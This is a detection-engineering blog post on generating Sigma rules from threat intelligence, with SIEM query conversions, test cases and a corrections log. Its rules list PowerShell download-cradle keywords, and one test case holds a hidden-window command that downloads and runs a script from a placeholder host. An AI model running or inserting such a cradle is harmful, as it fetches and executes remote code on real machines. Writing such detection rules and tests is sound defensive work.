Detection-as-Code: Generating Sigma Rules from Threat Intelligence
Detection-as-code with Sigma as the intermediate format: example rules, conversion to Splunk, Elastic and Microsoft Defender queries with sigma-cli, test cases and coverage measurement.
Most SOCs track more threat actors than they have detection rules for, and many of their rules cover generic behaviour rather than the specific tradecraft of the actors they care about. That is our experience, not a measured ratio, but few detection engineers will dispute it.
The gap isn’t laziness. A production-quality rule takes hours: research the technique, understand the telemetry requirements, write the logic, test against benign activity for false positives, tune thresholds, validate across data sources, document, and deploy. Multiply that by the hundreds of techniques in MITRE ATT&CK and you have a backlog that never shrinks.
Detection-as-code treats detection logic the way software engineering treats application code: version-controlled, peer-reviewed, tested in CI, and, where the input is structured, partly generated. When a report on an actor’s PowerShell tradecraft arrives, a draft rule should reach review quickly, not after a ticket sits in Jira for three weeks.
What detection-as-code actually means
The term gets thrown around loosely. Here’s the definition we use:
Detection-as-code is the practice of managing detection logic as source code artifacts that are version-controlled, programmatically generated where possible, tested against known-good and known-bad samples, and deployed through CI/CD pipelines to production SIEM/EDR systems.
The components:
- Structured intelligence input — STIX 2.1 indicators with ATT&CK technique mappings
- Rule generation — transformation from indicators and techniques to detection logic, by hand or by template
- Vendor-agnostic format — Sigma rules as the intermediate representation
- Conversion — Sigma to SIEM-native queries (Splunk SPL, Elasticsearch, Kusto and others)
- Testing — test cases for detection logic using synthetic and real log samples
- Deployment — a CI/CD pipeline pushes validated rules to production
This is distinct from “we store our Splunk alerts in Git,” which is version control for detection rules but not detection-as-code. The “as-code” part means testing and deployment are automated, not just storage.
An example: from a report to rules
Step 1: map the report to techniques
Take a malware report that lists:
- File hash:
SHA-256: 7a5b8b7c... - Contacted domains:
update-service[.]example,cdn-assets[.]example - Dropped files:
C:\Users\Public\svchost.exe - Registry modifications:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Process behaviour: PowerShell execution with encoded commands
An analyst maps the behaviour to ATT&CK techniques:
- PowerShell execution → T1059.001 (Command and Scripting Interpreter: PowerShell)
- Registry Run key persistence → T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)
- Masquerading as svchost.exe → T1036.005 (Masquerading: Match Legitimate Resource Name or Location)
- C2 over HTTPS → T1071.001 (Application Layer Protocol: Web Protocols)
Step 2: write Sigma rules
The rules below were written by hand for this post. All three pass sigma check with sigma-cli 3.1.0.
T1059.001, PowerShell with an encoded command or a download cradle. ATT&CK lists APT29 among the groups that have used PowerShell, including encoded commands:
title: PowerShell Encoded or Download Cradle Command Line
id: 8f2e4a7c-1d3b-4e5f-9a6c-2b8d7e0f1c4a
status: experimental
description: |
Detects PowerShell started with an encoded command or a download cradle.
APT29 is among the groups ATT&CK lists for T1059.001 (G0016).
references:
- https://attack.mitre.org/techniques/T1059/001/
- https://attack.mitre.org/groups/G0016/
author: ThreatFight Research
date: 2026-03-22
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection_powershell:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_encoded:
CommandLine|contains:
- '-enc '
- '-EncodedCommand '
- '-ec '
selection_suspicious_patterns:
CommandLine|contains:
- 'FromBase64String'
- 'System.Convert'
- 'IEX'
- 'Invoke-Expression'
- 'New-Object System.Net.WebClient'
- 'DownloadString'
- 'DownloadFile'
condition: selection_powershell and (selection_encoded or selection_suspicious_patterns)
falsepositives:
- Legitimate administrative scripts using encoded commands
- SCCM/Intune deployment scripts
- Some vendor installers
level: high
T1547.001, a Run key pointing into a user-writable path:
title: Registry Run Key Set to a User-Writable Path
id: 3c9d5e1f-7a2b-4f8c-b6d0-e4a9c1f2d5b7
status: experimental
description: |
Detects a Run or RunOnce value pointing into a user-writable or temp
directory, set by a process outside Program Files or System32.
references:
- https://attack.mitre.org/techniques/T1547/001/
author: ThreatFight Research
date: 2026-03-22
tags:
- attack.persistence
- attack.t1547.001
logsource:
category: registry_set
product: windows
detection:
selection_target:
TargetObject|contains:
- '\CurrentVersion\Run'
- '\CurrentVersion\RunOnce'
- '\CurrentVersion\RunServices'
selection_suspicious_paths:
Details|contains:
- '\Users\Public\'
- '\ProgramData\'
- '\AppData\Local\Temp\'
- '\Windows\Temp\'
filter_legitimate:
Image|startswith:
- 'C:\Program Files\'
- 'C:\Program Files (x86)\'
- 'C:\Windows\System32\'
condition: selection_target and selection_suspicious_paths and not filter_legitimate
falsepositives:
- Legitimate software installers writing to user-space paths
level: high
An indicator-list rule for the contacted domains. The domains are placeholders; an indicator rule is only as good as the source and age of its list, so record both:
title: DNS Query to Listed C2 Domains (Example)
id: a1e7f2c4-9b3d-4e6a-8c5f-d0b2a7e1f9c3
status: experimental
description: |
Template for an indicator-list rule. Replace the placeholder domains with
domains from your own intelligence, with their source and date.
references:
- https://attack.mitre.org/techniques/T1071/001/
author: ThreatFight Research
date: 2026-03-22
tags:
- attack.command-and-control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName:
- 'update-service.example'
- 'cdn-assets.example'
condition: selection
falsepositives:
- Depends on the quality and age of the indicator list
level: high
Step 3: convert to SIEM queries
Sigma rules are vendor-agnostic; production SIEMs need native queries. pySigma backends do the conversion, and processing pipelines map Sigma’s generic field names to each platform’s log schema. The output below is from sigma-cli 3.1.0 with pySigma 1.5.1, pysigma-backend-splunk 2.1.0, pysigma-backend-elasticsearch 2.1.1 and pysigma-backend-kusto 1.0.1.
Splunk, Sysmon logs (sigma convert -t splunk -p sysmon -p splunk_windows):
source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image IN ("*\\powershell.exe", "*\\pwsh.exe") CommandLine IN ("*-enc *", "*-EncodedCommand *", "*-ec *") OR CommandLine IN ("*FromBase64String*", "*System.Convert*", "*IEX*", "*Invoke-Expression*", "*New-Object System.Net.WebClient*", "*DownloadString*", "*DownloadFile*")
In SPL, OR binds more tightly than the implicit AND, so this reads as the rule’s condition.
Elasticsearch Lucene, ECS from Winlogbeat 7+ (sigma convert -t lucene -p ecs_windows):
(process.executable.caseless:(*\\powershell.exe OR *\\pwsh.exe)) AND ((process.command_line:(*\-enc\ * OR *\-EncodedCommand\ * OR *\-ec\ *)) OR (process.command_line:(*FromBase64String* OR *System.Convert* OR *IEX* OR *Invoke\-Expression* OR *New\-Object\ System.Net.WebClient* OR *DownloadString* OR *DownloadFile*)))
Microsoft Defender XDR advanced hunting, Kusto (sigma convert -t kusto -p microsoft_xdr):
DeviceProcessEvents
| where (FolderPath endswith "\\powershell.exe" or FolderPath endswith "\\pwsh.exe") and ((ProcessCommandLine contains "-enc " or ProcessCommandLine contains "-EncodedCommand " or ProcessCommandLine contains "-ec ") or (ProcessCommandLine contains "FromBase64String" or ProcessCommandLine contains "System.Convert" or ProcessCommandLine contains "IEX" or ProcessCommandLine contains "Invoke-Expression" or ProcessCommandLine contains "New-Object System.Net.WebClient" or ProcessCommandLine contains "DownloadString" or ProcessCommandLine contains "DownloadFile"))
Read the output before deploying it. Field mappings differ between log sources, and a rule written for Sysmon fields will not match Security event 4688, which names the same data New_Process_Name and Process_Command_Line.
Step 4: test the rules
A rule is only useful if it fires on what it should and stays quiet on what it shouldn’t. We recommend keeping test cases next to each rule and running them in CI. A simple format:
True positive cases — synthetic events that should match:
# test_t1059_001_true_positive.yml
test_cases:
- name: "Encoded PowerShell command"
log:
Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
CommandLine: 'powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA...'
ParentImage: 'C:\Windows\explorer.exe'
User: 'CORP\jsmith'
expected: match
- name: "PowerShell with DownloadString"
log:
Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
CommandLine: "powershell -NoP -NonI -W Hidden IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"
ParentImage: 'C:\Windows\System32\cmd.exe'
User: 'CORP\admin'
expected: match
True negative cases — benign activity that should not match:
- name: "Legitimate PowerShell - Get-Process"
log:
Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
CommandLine: 'powershell.exe Get-Process | Sort-Object CPU -Descending'
ParentImage: 'C:\Windows\explorer.exe'
User: 'CORP\admin'
expected: no_match
- name: "SCCM deployment script"
log:
Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
CommandLine: 'powershell.exe -ExecutionPolicy Bypass -File "C:\Windows\ccmcache\install.ps1"'
ParentImage: 'C:\Windows\CCM\CcmExec.exe'
User: 'SYSTEM'
expected: no_match
Rules that fail go back to an analyst with the failing case attached.
Why Sigma as the intermediate layer
The Sigma project defines a generic signature format for log events. In the project’s own words, Sigma is for log files what Snort is for network traffic and YARA is for files.
The SigmaHQ rule repository contains more than 3,000 community-maintained rules covering a wide range of ATT&CK techniques. Community rules are generic by design: they detect technique patterns, not one actor’s implementation. Rules written from your own intelligence supplement them with the specific paths, domains and command lines you have evidence for.
Sigma also separates detection logic from SIEM implementation. When you migrate from Splunk to Elastic, or add a second SIEM, the detection logic doesn’t need rewriting. Convert the rules with the new backend and its processing pipeline, check the field mappings, and deploy.
Measuring detection coverage
Detection-as-code makes coverage measurable. For every threat actor you prioritise, you can compute:
- Technique coverage: what share of the actor’s known ATT&CK techniques have detection rules?
- Indicator coverage: what share of the actor’s known IOCs appear in detection logic?
- Recency: how fresh are the rules relative to the latest intelligence on this actor?
If an actor has 27 documented techniques and you have rules for 14, your coverage is 52%. The remaining 13 can be prioritised by intelligence confidence and by whether you have the telemetry to detect them at all.
This turns detection engineering from “write rules when something bad happens” into “maintain coverage against prioritised threats.”
Running the workflow
- Intelligence ingestion — STIX indicators from feeds, reports or manual entry
- Rule drafting — Sigma rules drafted for new techniques and indicators, by template or by hand
- Testing — rules run against their test cases; failures are flagged
- Review — analysts review rules as pull requests
- Deployment — approved rules are converted with the target backend and deployed via the SIEM’s API
- Feedback — alert volumes and false-positive rates go back into tuning
The arithmetic
Assume a team of 5 detection engineers who each finish 2-3 quality rules a week. That assumption is ours, not a survey figure. It gives 10-15 rules a week, roughly 600 a year.
MITRE ATT&CK Enterprise v18 contains 216 techniques and 475 sub-techniques. If you track 50 threat actors averaging 15 techniques each, overlap might leave around 300 distinct techniques. At 3 rules per technique, covering different data sources and variations, that’s 900 rules: about 18 months of the team’s capacity.
Drafting rules from templates shifts analyst time from writing to reviewing and tuning. How much that saves depends on how good the drafts are, which we have not measured.
Further reading
The Sigma specification is essential reading for anyone working in detection engineering, and the SigmaHQ rule repository is a good foundation to build on.
Corrections
- : The three Sigma rules and the Splunk, Elastic and Sentinel queries were presented as MalCloud output. They were written by hand: MalCloud's generator emitted a single
CommandLine|containsselection per technique, and its converter supported only Splunk SPL and Elastic KQL and ignored the rule's condition. The rules are now labelled as hand-written, and the queries are regenerated with sigma-cli 3.1.0 and the listed backends. - : Removed claims that MalCloud mapped extracted behaviour to ATT&CK techniques, combined technique templates with IOC values, included a rule testing framework, used a Git review workflow, deployed rules to SIEMs, fed results back into generation, computed per-actor coverage, and was "available in all deployment tiers". None of these existed in the code. Removed the "under 60 seconds" and "under 10 minutes" timings, which were never measured.
- : The third rule was titled "DNS Query to Known APT29 C2 Infrastructure" and listed two domains as known malicious. They were invented examples and may be real domains owned by others. They are replaced with
.exampleplaceholders and the rule is retitled as a template. - : Removed a figure attributed to the "SANS 2024 SOC Survey" (2-3 rules per engineer per week), which we could not find in that survey, and unsourced figures on actors tracked, rules maintained and hours per rule. Corrected "APT29 uses 27 documented techniques": ATT&CK lists far more for G0016, so the example now uses a hypothetical actor. Noted that the ATT&CK counts are for v18. Changed "covering the majority of ATT&CK techniques" to "a wide range", which is what we can support.
- : Fixed rule dates to the YYYY-MM-DD format the Sigma specification requires, replaced
evil.com(a registered domain) withexample.com, updated the moved Sigma specification link, and removed a duplicated call to action.
Found an error? Send it with a source to [email protected]. How we handle it: corrections policy. Vulnerability reports: disclosure policy.